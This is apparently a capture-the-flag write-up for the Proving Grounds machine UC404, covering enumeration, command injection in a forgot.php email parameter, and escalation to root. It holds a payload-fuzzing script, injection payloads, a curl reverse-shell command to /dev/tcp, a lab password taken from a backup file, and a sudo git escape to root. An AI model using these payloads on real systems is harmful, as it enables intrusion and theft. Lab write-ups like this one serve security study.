UC404 - OSPG
Summary of Result
We gain the initial access by exploiting the command injection vulnerability of a web application. We’ll then compromise brian
- a local user via plain-text password stored in a backup file. As brian
, we can execute a sudo
command and successfully acquire root
shell.
Enumeration
Nmap
We’ll begin with nmap
scan.
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))
| http-git:
| 192.168.72.109:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Remotes:
| https://github.com/ColorlibHQ/AdminLTE.git
|_ Project type: Ruby on Rails web application (guessed from .gitignore)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: AdminLTE 3 | Dashboard
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
2049/tcp open nfs_acl syn-ack ttl 63 3 (RPC #100227)
36931/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
44931/tcp open nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
45359/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
55419/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
There are a few running services. Yet, we drop our attention to the HTTP
service.
Web Application
Let’s us first ffuf
hidden directories against the server.
$ ffuf -u $URL -w directories.txt
index.html [Status: 200, Size: 60628, Words: 23683, Lines: 1480]
index2.html [Status: 200, Size: 71875, Words: 29353, Lines: 1710]
index3.html [Status: 200, Size: 42799, Words: 17135, Lines: 1126]
.git [Status: 301, Size: 315, Words: 20, Lines: 10]
.gitignore [Status: 200, Size: 1213, Words: 16, Lines: 72]
wp-forum.phps [Status: 403, Size: 279, Words: 20, Lines: 10]
demo [Status: 301, Size: 317, Words: 20, Lines: 10]
plugins [Status: 301, Size: 320, Words: 20, Lines: 10]
db [Status: 301, Size: 315, Words: 20, Lines: 10]
dist [Status: 301, Size: 317, Words: 20, Lines: 10]
build [Status: 301, Size: 318, Words: 20, Lines: 10]
LICENSE [Status: 200, Size: 1082, Words: 155, Lines: 21]
under_construction [Status: 301, Size: 331, Words: 20, Lines: 10]
Looking over the results, there exists several enchanting directories and files. Particularly, the /under_construction
looks compelling to investigate.
→ Fuzzing the directory /under_construction
.
$ ffuf -u http://192.168.250.109/under_construction/FUZZ -w raft-small-files.txt -e .php
index.php [Status: 200, Size: 2950, Words: 111, Lines: 76]
register.html [Status: 200, Size: 3127, Words: 130, Lines: 80]
forgot.php [Status: 200, Size: 2729, Words: 333, Lines: 73]
Futher enumerating index.php
and register.html
yielded a dead end. We draw our attention to the forgot.php
file.
Let’s us have a look at the page source of forgot.php
.
curl -s http://192.168.250.109/under_construction/forgot.php | tail -20
[...]
|| For security reasons we are working to blacklist some characters ||
//-->
[...]
The above line divulges some characters are not properly sanitized in the user input. Moreover, it’s worth giving attention to the last two lines of the same page source.
[...]
Could not open input file: sendmail.php
1
When it comes to parameter pentesting, its not trivial to perform both POST
and GET
requests against the entry.
Now, we can check if the paramater email
is vulnerable by throwing some random special characters. This can be done with curl
.
$ curl -s http://192.168.250.109/under_construction/forgot.php\?email=\' | tail -20
</html>
[...]
---- Under Construction ----
sendmail.php must receive the variable from the html form and send the message.
|| For security reasons we are working to blacklist some characters ||
//-->
2
By casting a single quote ('
) into the entry, we observe an abnormal behavior of the web server in the last two lines.
- Previous
[...]
Could not open input file: sendmail.php
1
- Now
[...]
2
We know that the character might break something at the backend.
Exploitation
Command Injection
Method 1 - Automatic
Using the following .py
script given a list of command injection payloads (here.)
#!/usr/bin/env python3
import requests
import sys
s = requests.Session()
url = "http://192.168.250.109/under_construction/forgot.php"
sc_file = sys.argv[1]
# Get website cookie, token ...?
s.get(url)
with open(sc_file, "r", encoding="iso-8859-1") as special_chars:
sc = special_chars.readlines()
for ss in sc:
ss = ss.strip()
payload = {'email':ss}
r = s.get(url, params=payload)
print(f"Trying payload: {payload}")
print(r.text.splitlines()[71:73])
print()
We then execute the script as follow.
$ python3 params_brute.py OS-Command-Fuzzing.txt
Trying payload: {'email': '<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->'}
['Could not open input file: sendmail.php', '127']
...
Trying payload: {'email': '|id'}
['uid=33(www-data) gid=33(www-data) groups=33(www-data)', '0']
After a few seconds, we discover that the payload |id
triggers id
command on the other end.
Method 2 - Guessing
The payload in the first method is not the only way. By guessing, we can also achieve Remote Code Execution (RCE).
$ curl -s http://192.168.250.109/under_construction/forgot.php\?email=%0aid | tail -20
<!--
______ __ __ _____ _ _______ _______ _______ ______ __ __
| ____| \/ | /\ |_ _| | / ____\ \ / / ____|__ __| ____| \/ |
| |__ | \ / | / \ | | | | | (___ \ \_/ / (___ | | | |__ | \ / |
| __| | |\/| | / /\ \ | | | | \___ \ \ / \___ \ | | | __| | |\/| |
| |____| | | |/ ____ \ _| |_| |____ ____) | | | ____) | | | | |____| | | |
|______|_| |_/_/ \_\_____|______| |_____/ |_| |_____/ |_| |______|_| |_|
---- Under Construction ----
sendmail.php must receive the variable from the html form and send the message.
|| For security reasons we are working to blacklist some characters ||
//-->
uid=33(www-data) gid=33(www-data) groups=33(www-data)
0
Initial Access
Previously, we allocate the vulnerability leading to RCE. It’s now a simple task to get the call back.
On our terminal, we execute:
$ curl -s http://192.168.250.109/under_construction/forgot.php\?email=\|bash+-c+\'bash+-i+\>%26+/dev/tcp/192.168.49.250/80+0\>%261\'
After a bit, the nc
listener should catch the reverse shell at port 80 as www-data
.
$ nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.49.250] from (UNKNOWN) [192.168.250.109] 39692
bash: cannot set terminal process group (546): Inappropriate ioctl for device
bash: no job control in this shell
www-data@UC404:/var/www/html/under_construction$
Privilege Escalation
Shell as brian
Moving around as www-data
, we disclose the file /var/backups/sendmail.php.bak
reserving the credentials of brian
.
[...]
$connect=mysql_connect("localhost","brian","BrianIsOnTheAir789") or die("Could not connect to database");
mysql_select_db("uc404") or die(mysql_error());
[...]
?>
At this point, we simply SSH into the target as brian
with the newly obtained password.
SUDO Permission
Poking around, we realize that brian
allows us to execute the sudo /usr/bin/git ...
command as root
.
brian@UC404:~$ sudo -l
Matching Defaults entries for brian on UC404:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User brian may run the following commands on UC404:
(ALL) NOPASSWD: /usr/bin/git
With this permission, we easily compromise the root
shell.
brian@UC404:~$ sudo git -p help config
!/bin/bash
root@UC404:~# id
uid=0(root) gid=0(root) groups=0(root)